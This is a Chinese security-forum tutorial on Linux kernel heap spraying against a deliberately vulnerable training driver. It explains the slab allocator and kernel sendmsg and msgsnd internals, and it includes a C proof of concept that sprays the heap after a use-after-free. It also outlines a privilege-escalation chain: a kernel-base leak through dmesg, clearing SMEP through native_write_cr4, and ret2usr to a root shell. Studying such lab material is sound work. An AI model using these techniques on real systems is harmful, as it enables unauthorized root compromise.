首页
社区
课程
招聘
[原创]Linux内核堆喷(Linux Kernel Heap Spray)
发表于: 2020-12-3 11:38 8951

[原创]Linux内核堆喷(Linux Kernel Heap Spray)

2020-12-3 11:38
8951

基于:vulnerable_linux_drive(类似windows著名的的HEVD)

驱动地址:https://github.com/invictus-0x90/vulnerable_linux_driver

将Shellcode与大量的slide code(滑板指令)相组合,组成一整个 注入代码段 ,然后向系统申请大量的内存空间,并反复用 注入代码段 填充,然后将程序执行流劫持到内核堆上,使得程序慢慢“滑”向SHellcode。

Slide code一般使用:

1.NOP指令(\x90)

2.\x0c

3.\x0d

他们均不会影响shellcode的执行。

SLAB作为用户linux系统内核对于小对象的高速cache。

cat /proc/slabinfo 可以查看当前 slab 对象的分配情况。

如:

其中 kmalloc-8 代表:首先,他是一个普通的(非专用slab),里面的对象都是8B,当你申请1到8B时会从这里给你返回一个cache对象,当你kfree掉他时,这个free_cache会回到kmalloc-8的SLAB里面。(类比用户态有点像一个本身就有chunk的fastbin?)

与用户态相似的,当free掉一个SLAB对象时,仅仅是标free,并且slab优先分配最后被free的对象。

而slab对象受到 kmem_cache 的管理(比如说kmalloc-8)。

其管理层级结构如下:

并且用户可以通过:kmem_cache_create 创建一个自己的 kmem_cache 数据结构。

函数原型:

主要用于发送消息到另一个套接字,比如:在不同的进程之间传递文件描述符(file descriptor)

源码如下 :

https://elixir.bootlin.com/linux/v4.4.31/source/net/socket.c

首先做一次UAF,然后练习100000调用sendmsg,参数中的msgh是我们用户态的东西。

将user space的controllen大小(84)赋值给ctl_len.

检测到大于0x44,重新调用kmalloc从专用SLAB中开内存

最后把用户态的内容拷贝到内核中。ctl_buf是kmalloc出的。

之后多次调用,完成大量申请空间并填充。

可以看到程序的执行流流向了我们填充的0x61,至此,堆喷成功。

源码:

msg_msg结构如下:

所以我们不能控制前0x30,并且消息越大,越容易阻塞。

The second drawback, which is commented in my code, is that the larger the message, the fewer messages we can send before the process blocks. I presume this wouldn’t occur if I had another process calling msgrcv and taking messages out of the queue, but for now 120 allocations was enough.

主要使用UAF漏洞配合Kernel heap spray来bypass smep和kalsr实现提权。

内核版本:4.4.31

缓解措施:kaslr + smep

利用过程:

1.首先在子进程中堆喷触发page fault,利用dmesg泄露加载基地址。

2.利用 native_write_cr4 将cr4第21位设置成0,整个cr4为0x6f0

3.关闭smep、smap后直接ret2usr起root shell

exp如下:

效果:

https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/

https://fivezh.github.io/2017/06/25/Linux-slab-info/

[图解slub]http://www.wowotech.net/memory_management/426.html

http://www.secretmango.com/jimb/Whitepapers/slabs/slab.html

https://www.cnblogs.com/lojunren/p/3865232.html

 
 
 
 
 
 
 
 
Acpi-Namespace      7854   7854     40  102    1 : tunables    0    0    0 : slabdata     77     77      0
numa_policy          186    186    264   62    4 : tunables    0    0    0 : slabdata      3      3      0
trace_event_file    1426   1426     88   46    1 : tunables    0    0    0 : slabdata     31     31      0
ftrace_event_field   3400   3400     48   85    1 : tunables    0    0    0 : slabdata     40     40      0
radix_tree_node    13694  15848    584   56    8 : tunables    0    0    0 : slabdata    283    283      0
task_group           168    168    576   56    8 : tunables    0    0    0 : slabdata      3      3      0
dma-kmalloc-8192       0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-4096       0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-2048       0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-1024       0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-512       64     64    512   64    8 : tunables    0    0    0 : slabdata      1      1      0
dma-kmalloc-256        0      0    256   64    4 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-128        0      0    128   64    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-64         0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-32         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-16         0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-8          0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-192        0      0    192   42    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-96         0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-8192         410    420   8192    4    8 : tunables    0    0    0 : slabdata    105    105      0
kmalloc-4096         342    360   4096    8    8 : tunables    0    0    0 : slabdata     45     45      0
kmalloc-2048        2478   2528   2048   16    8 : tunables    0    0    0 : slabdata    158    158      0
kmalloc-1024        5980   6304   1024   32    8 : tunables    0    0    0 : slabdata    197    197      0
kmalloc-512        41282  41792    512   64    8 : tunables    0    0    0 : slabdata    653    653      0
kmalloc-256         7786   8000    256   64    4 : tunables    0    0    0 : slabdata    125    125      0
kmalloc-192         6174   6174    192   42    2 : tunables    0    0    0 : slabdata    147    147      0
kmalloc-128         2240   2240    128   64    2 : tunables    0    0    0 : slabdata     35     35      0
kmalloc-96          7455   9786     96   42    1 : tunables    0    0    0 : slabdata    233    233      0
kmalloc-64         23669  24192     64   64    1 : tunables    0    0    0 : slabdata    378    378      0
kmalloc-32         31701  32640     32  128    1 : tunables    0    0    0 : slabdata    255    255      0
kmalloc-16         13568  13568     16  256    1 : tunables    0    0    0 : slabdata     53     53      0
kmalloc-8          12288  12288      8  512    1 : tunables    0    0    0 : slabdata     24     24      0
kmem_cache_node     1920   1920     64   64    1 : tunables    0    0    0 : slabdata     30     30      0
kmem_cache          1890   1890    384   42    4 : tunables    0    0    0 : slabdata     45     45      0
Acpi-Namespace      7854   7854     40  102    1 : tunables    0    0    0 : slabdata     77     77      0
numa_policy          186    186    264   62    4 : tunables    0    0    0 : slabdata      3      3      0
trace_event_file    1426   1426     88   46    1 : tunables    0    0    0 : slabdata     31     31      0
ftrace_event_field   3400   3400     48   85    1 : tunables    0    0    0 : slabdata     40     40      0
radix_tree_node    13694  15848    584   56    8 : tunables    0    0    0 : slabdata    283    283      0
task_group           168    168    576   56    8 : tunables    0    0    0 : slabdata      3      3      0
dma-kmalloc-8192       0      0   8192    4    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-4096       0      0   4096    8    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-2048       0      0   2048   16    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-1024       0      0   1024   32    8 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-512       64     64    512   64    8 : tunables    0    0    0 : slabdata      1      1      0
dma-kmalloc-256        0      0    256   64    4 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-128        0      0    128   64    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-64         0      0     64   64    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-32         0      0     32  128    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-16         0      0     16  256    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-8          0      0      8  512    1 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-192        0      0    192   42    2 : tunables    0    0    0 : slabdata      0      0      0
dma-kmalloc-96         0      0     96   42    1 : tunables    0    0    0 : slabdata      0      0      0
kmalloc-8192         410    420   8192    4    8 : tunables    0    0    0 : slabdata    105    105      0
kmalloc-4096         342    360   4096    8    8 : tunables    0    0    0 : slabdata     45     45      0
kmalloc-2048        2478   2528   2048   16    8 : tunables    0    0    0 : slabdata    158    158      0
kmalloc-1024        5980   6304   1024   32    8 : tunables    0    0    0 : slabdata    197    197      0
kmalloc-512        41282  41792    512   64    8 : tunables    0    0    0 : slabdata    653    653      0
kmalloc-256         7786   8000    256   64    4 : tunables    0    0    0 : slabdata    125    125      0
kmalloc-192         6174   6174    192   42    2 : tunables    0    0    0 : slabdata    147    147      0
kmalloc-128         2240   2240    128   64    2 : tunables    0    0    0 : slabdata     35     35      0
kmalloc-96          7455   9786     96   42    1 : tunables    0    0    0 : slabdata    233    233      0
kmalloc-64         23669  24192     64   64    1 : tunables    0    0    0 : slabdata    378    378      0
kmalloc-32         31701  32640     32  128    1 : tunables    0    0    0 : slabdata    255    255      0
kmalloc-16         13568  13568     16  256    1 : tunables    0    0    0 : slabdata     53     53      0
kmalloc-8          12288  12288      8  512    1 : tunables    0    0    0 : slabdata     24     24      0
kmem_cache_node     1920   1920     64   64    1 : tunables    0    0    0 : slabdata     30     30      0
kmem_cache          1890   1890    384   42    4 : tunables    0    0    0 : slabdata     45     45      0
 
 
 
 
 
static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
               unsigned int flags, struct used_address *used_address,
               unsigned int allowed_msghdr_flags)
static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
               unsigned int flags, struct used_address *used_address,
               unsigned int allowed_msghdr_flags)
 
struct msghdr {
    void        *msg_name;    /* ptr to socket address structure */
    int        msg_namelen;    /* size of socket address structure */
    struct iov_iter    msg_iter;    /* data */
    void        *msg_control;    /* ancillary data */
    __kernel_size_t    msg_controllen;    /* ancillary data buffer length */
    unsigned int    msg_flags;    /* flags on received message */
    struct kiocb    *msg_iocb;    /* ptr to iocb for async requests */
};
struct msghdr {
    void        *msg_name;    /* ptr to socket address structure */
    int        msg_namelen;    /* size of socket address structure */
    struct iov_iter    msg_iter;    /* data */
    void        *msg_control;    /* ancillary data */
    __kernel_size_t    msg_controllen;    /* ancillary data buffer length */
    unsigned int    msg_flags;    /* flags on received message */
    struct kiocb    *msg_iocb;    /* ptr to iocb for async requests */
};
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
             struct msghdr *msg_sys, unsigned int flags,
             struct used_address *used_address)
{
    struct compat_msghdr __user *msg_compat =
        (struct compat_msghdr __user *)msg;
    struct sockaddr_storage address;
    struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
    unsigned char ctl[sizeof(struct cmsghdr) + 20]
        __attribute__ ((aligned(sizeof(__kernel_size_t))));    //在栈上开44字节
    /* 20 is size of ipv6_pktinfo */
    unsigned char *ctl_buf = ctl;                            //ctl_buf指向ctl.
    int ctl_len;
    ssize_t err;
 
    msg_sys->msg_name = &address;
 
    if (MSG_CMSG_COMPAT & flags)
        err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
    else
        err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov);        //这里将用户态的msghdr(消息头)拷贝到内核态的msg_sys
    if (err < 0)
        return err;
 
    err = -ENOBUFS;
 
    if (msg_sys->msg_controllen > INT_MAX)        //
        goto out_freeiov;
    ctl_len = msg_sys->msg_controllen;            //当msg_sys->msg_controllen小于等于INT_MAX,会将ctl_len设置成msg_sys->msg_controllen()
    if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
        err =
            cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
                             sizeof(ctl));
        if (err)
            goto out_freeiov;
        ctl_buf = msg_sys->msg_control;
        ctl_len = msg_sys->msg_controllen;
    } else if (ctl_len) {
        if (ctl_len > sizeof(ctl)) {            //当ctl_len>ctl(44字节)时
            ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);    //调用kmalloc 分配 ctl_len 大小的堆块
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        err = -EFAULT;
        /*
         * Careful! Before this, msg_sys->msg_control contains a user pointer.
         * Afterwards, it will be a kernel pointer. Thus the compiler-assisted
         * checking falls down on this.
         */
        if (copy_from_user(ctl_buf,
                   (void __user __force *)msg_sys->msg_control,
                   ctl_len))                //这里使用copy_from_user将用户态的msg_sys->msg_control,拷贝到内核的ctl_buf(由kmalloc产生),拷贝长度ctl_len。这里内容可控
            goto out_freectl;
        msg_sys->msg_control = ctl_buf;
    }
    msg_sys->msg_flags = flags;
 
    ......
 
}
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
             struct msghdr *msg_sys, unsigned int flags,
             struct used_address *used_address)
{
    struct compat_msghdr __user *msg_compat =
        (struct compat_msghdr __user *)msg;
    struct sockaddr_storage address;
    struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
    unsigned char ctl[sizeof(struct cmsghdr) + 20]
        __attribute__ ((aligned(sizeof(__kernel_size_t))));    //在栈上开44字节
    /* 20 is size of ipv6_pktinfo */
    unsigned char *ctl_buf = ctl;                            //ctl_buf指向ctl.
    int ctl_len;
    ssize_t err;
 
    msg_sys->msg_name = &address;
 
    if (MSG_CMSG_COMPAT & flags)
        err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
    else
        err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov);        //这里将用户态的msghdr(消息头)拷贝到内核态的msg_sys
    if (err < 0)
        return err;
 
    err = -ENOBUFS;
 
    if (msg_sys->msg_controllen > INT_MAX)        //
        goto out_freeiov;
    ctl_len = msg_sys->msg_controllen;            //当msg_sys->msg_controllen小于等于INT_MAX,会将ctl_len设置成msg_sys->msg_controllen()
    if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
        err =
            cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
                             sizeof(ctl));
        if (err)
            goto out_freeiov;
        ctl_buf = msg_sys->msg_control;
        ctl_len = msg_sys->msg_controllen;
    } else if (ctl_len) {
        if (ctl_len > sizeof(ctl)) {            //当ctl_len>ctl(44字节)时
            ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);    //调用kmalloc 分配 ctl_len 大小的堆块
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        err = -EFAULT;
        /*
         * Careful! Before this, msg_sys->msg_control contains a user pointer.
         * Afterwards, it will be a kernel pointer. Thus the compiler-assisted
         * checking falls down on this.
         */
        if (copy_from_user(ctl_buf,
                   (void __user __force *)msg_sys->msg_control,
                   ctl_len))                //这里使用copy_from_user将用户态的msg_sys->msg_control,拷贝到内核的ctl_buf(由kmalloc产生),拷贝长度ctl_len。这里内容可控
            goto out_freectl;
        msg_sys->msg_control = ctl_buf;
    }
    msg_sys->msg_flags = flags;
 
    ......
 
}
#define _GNU_SOURCE
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include "/root/vulnerable_linux_driver/src/vuln_driver.h"
#define SIZE 84
 
int main(){
    char buf[SIZE];
    struct msghdr msgh = {0};
    struct sockaddr_in addr = {0};
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    int fd = open("/dev/vulnerable_device",O_RDWR);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6666);
 
    // filled with 0x61 'a'
    memset(buf,0x61,sizeof(buf));
    // set user space buf(msg header)
    msgh.msg_control = buf;
    msgh.msg_controllen = SIZE;
    msgh.msg_name = (caddr_t)&addr;
    msgh.msg_namelen = sizeof(addr);
 
    // trigger UAF
    ioctl(fd,ALLOC_UAF_OBJ,NULL);   //alloc_uaf_obj
    ioctl(fd,FREE_UAF_OBJ,NULL);    //free uaf obj
 
         /* Heap spray */
     for(int i = 0; i < 100000; i++) {
         sendmsg(sockfd, &msgh, 0);
     }
 
 
      /* Trigger */
     ioctl(fd, USE_UAF_OBJ, NULL);
 
 
 
    return 0;
}
#define _GNU_SOURCE
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include "/root/vulnerable_linux_driver/src/vuln_driver.h"
#define SIZE 84
 
int main(){
    char buf[SIZE];
    struct msghdr msgh = {0};
    struct sockaddr_in addr = {0};
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    int fd = open("/dev/vulnerable_device",O_RDWR);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6666);
 
    // filled with 0x61 'a'
    memset(buf,0x61,sizeof(buf));
    // set user space buf(msg header)
    msgh.msg_control = buf;
    msgh.msg_controllen = SIZE;
    msgh.msg_name = (caddr_t)&addr;
    msgh.msg_namelen = sizeof(addr);
 
    // trigger UAF
    ioctl(fd,ALLOC_UAF_OBJ,NULL);   //alloc_uaf_obj
    ioctl(fd,FREE_UAF_OBJ,NULL);    //free uaf obj
 
         /* Heap spray */
     for(int i = 0; i < 100000; i++) {
         sendmsg(sockfd, &msgh, 0);
     }
 
 
      /* Trigger */
     ioctl(fd, USE_UAF_OBJ, NULL);
 
 
 
    return 0;
}
 
 
 
 
 
 
 
 
 
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
        int, msgflg)
{
    long mtype;
 
    if (get_user(mtype, &msgp->mtype))
        return -EFAULT;
    return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
        int, msgflg)
{
    long mtype;
 
    if (get_user(mtype, &msgp->mtype))
        return -EFAULT;
    return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}
long do_msgsnd(int msqid, long mtype, void __user *mtext,
        size_t msgsz, int msgflg)
{
    struct msg_queue *msq;
    struct msg_msg *msg;
    int err;
    struct ipc_namespace *ns;
 
    ns = current->nsproxy->ipc_ns;
 
    if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
        return -EINVAL;
    if (mtype < 1)
        return -EINVAL;
 
    msg = load_msg(mtext, msgsz);
    .......
long do_msgsnd(int msqid, long mtype, void __user *mtext,
        size_t msgsz, int msgflg)
{
    struct msg_queue *msq;
    struct msg_msg *msg;
    int err;
    struct ipc_namespace *ns;
 
    ns = current->nsproxy->ipc_ns;
 
    if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
        return -EINVAL;
    if (mtype < 1)
        return -EINVAL;
 

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 4
支持
分享
最新回复 (2)
雪    币: 14517
活跃值: (17538)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
mark,感谢分享
2020-12-4 08:40
0
雪    币: 24
活跃值: (1353)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
支持
2020-12-5 13:23
0
游客
登录 | 注册 方可回帖
返回
//